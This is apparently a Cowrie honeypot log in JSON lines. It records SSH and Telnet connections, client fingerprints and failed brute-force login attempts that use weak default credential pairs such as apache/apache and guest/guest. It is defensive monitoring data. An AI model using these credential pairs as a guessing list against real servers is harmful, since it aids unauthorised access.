{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:27.149427Z","src_ip":"192.109.200.78","session":"f372278cf9ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:27.496667Z","src_ip":"192.109.200.78","session":"f372278cf9ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:28.583639Z","src_ip":"192.109.200.78","session":"f372278cf9ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59014,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c4d842b0ba1","protocol":"ssh","message":"New connection: 192.109.200.78:59014 (159.203.135.109:22) [session: 9c4d842b0ba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:32.012866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:32.018205Z","src_ip":"192.109.200.78","session":"9c4d842b0ba1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:32.101574Z","src_ip":"192.109.200.78","session":"9c4d842b0ba1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123456","message":"login attempt [es/es123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:32.362301Z","src_ip":"192.109.200.78","session":"9c4d842b0ba1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:33.448601Z","src_ip":"192.109.200.78","session":"9c4d842b0ba1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59022,"dst_ip":"159.203.135.109","dst_port":22,"session":"f983f1f3d317","protocol":"ssh","message":"New connection: 192.109.200.78:59022 (159.203.135.109:22) [session: f983f1f3d317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:35.112985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:35.118523Z","src_ip":"192.109.200.78","session":"f983f1f3d317","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:35.213387Z","src_ip":"192.109.200.78","session":"f983f1f3d317","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:35.558429Z","src_ip":"192.109.200.78","session":"f983f1f3d317","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47892,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b1d82f0a250","protocol":"ssh","message":"New connection: 159.203.92.129:47892 (159.203.135.109:22) [session: 5b1d82f0a250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:35.569868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:35.651522Z","src_ip":"159.203.92.129","session":"5b1d82f0a250","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:35.657817Z","src_ip":"159.203.92.129","session":"5b1d82f0a250","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Record","password":"123","message":"login attempt [Record/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:35.918530Z","src_ip":"159.203.92.129","session":"5b1d82f0a250","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:36.646064Z","src_ip":"192.109.200.78","session":"f983f1f3d317","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:36.936106Z","src_ip":"159.203.92.129","session":"5b1d82f0a250","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59928,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7225d29284c","protocol":"ssh","message":"New connection: 192.109.200.78:59928 (159.203.135.109:22) [session: c7225d29284c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:39.186689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:39.191424Z","src_ip":"192.109.200.78","session":"c7225d29284c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.132.80.243","src_port":31492,"dst_ip":"10.17.0.5","dst_port":23,"session":"d222af7f8481","protocol":"telnet","message":"New connection: 2.132.80.243:31492 (10.17.0.5:23) [session: d222af7f8481]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:39.396903Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:39.567506Z","src_ip":"192.109.200.78","session":"c7225d29284c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ecs-user","password":"ecs-user","message":"login attempt [ecs-user/ecs-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:39.819416Z","src_ip":"192.109.200.78","session":"c7225d29284c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:40.964266Z","src_ip":"192.109.200.78","session":"c7225d29284c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59944,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7520a710f34","protocol":"ssh","message":"New connection: 192.109.200.78:59944 (159.203.135.109:22) [session: d7520a710f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:43.228128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:43.232068Z","src_ip":"192.109.200.78","session":"d7520a710f34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:43.321218Z","src_ip":"192.109.200.78","session":"d7520a710f34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:43.688248Z","src_ip":"192.109.200.78","session":"d7520a710f34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:44.783849Z","src_ip":"192.109.200.78","session":"d7520a710f34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59950,"dst_ip":"159.203.135.109","dst_port":22,"session":"24dba30fb7b3","protocol":"ssh","message":"New connection: 192.109.200.78:59950 (159.203.135.109:22) [session: 24dba30fb7b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:47.342246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:47.347594Z","src_ip":"192.109.200.78","session":"24dba30fb7b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:47.437773Z","src_ip":"192.109.200.78","session":"24dba30fb7b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:47.691402Z","src_ip":"192.109.200.78","session":"24dba30fb7b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:48.780467Z","src_ip":"192.109.200.78","session":"24dba30fb7b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46150,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7c9d1bfec6b","protocol":"ssh","message":"New connection: 192.109.200.78:46150 (159.203.135.109:22) [session: a7c9d1bfec6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:51.384114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:51.387822Z","src_ip":"192.109.200.78","session":"a7c9d1bfec6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:51.469748Z","src_ip":"192.109.200.78","session":"a7c9d1bfec6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:51.715070Z","src_ip":"192.109.200.78","session":"a7c9d1bfec6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.991031408309937,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:52.387808Z","src_ip":"2.132.80.243","session":"d222af7f8481","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:52.799763Z","src_ip":"192.109.200.78","session":"a7c9d1bfec6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46152,"dst_ip":"159.203.135.109","dst_port":22,"session":"45eb621aa4ea","protocol":"ssh","message":"New connection: 192.109.200.78:46152 (159.203.135.109:22) [session: 45eb621aa4ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:55.538541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:55.546030Z","src_ip":"192.109.200.78","session":"45eb621aa4ea","protocol":"ssh"}
